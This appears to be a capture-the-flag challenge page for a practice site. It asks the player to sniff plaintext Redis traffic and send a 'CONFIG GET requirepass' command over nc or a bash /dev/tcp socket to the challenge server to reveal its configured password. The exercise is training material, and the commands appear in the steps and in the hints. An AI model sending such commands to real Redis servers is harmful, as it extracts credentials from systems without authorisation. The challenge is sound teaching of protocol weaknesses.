Dump a config secret
Practitioner 20 ptsGoal: Use CONFIG GET to pull a configured secret out of the server.
Capture it yourself — real Redis needs a terminal
- Start Wireshark on your active interface with filter
tcp.port == 6390(orsudo tcpdump -i any -w cap.pcap port 6390). - Run this against the real Redis server on this box:
printf 'CONFIG GET requirepass\r\n' | nc ctf.nitaimaarek.com 6390
Stop the capture and Follow → TCP Stream. The server returns the configured password in its reply — that value is the answer.
No nc? On Linux/macOS try ncat, or bash: exec 3<>/dev/tcp/ctf.nitaimaarek.com/6390. The exchange is plaintext, so it's fully readable in your capture — that's the whole point.
Hints
Open in order — they nudge, not solve.
Hint 1
Capture tcp.port == 6390, then printf 'CONFIG GET requirepass\r\n' | nc ctf.nitaimaarek.com 6390.
Hint 2
The server answers with the config value as a bulk string.
Hint 3
That value (REDIS-CONF-…) is the answer.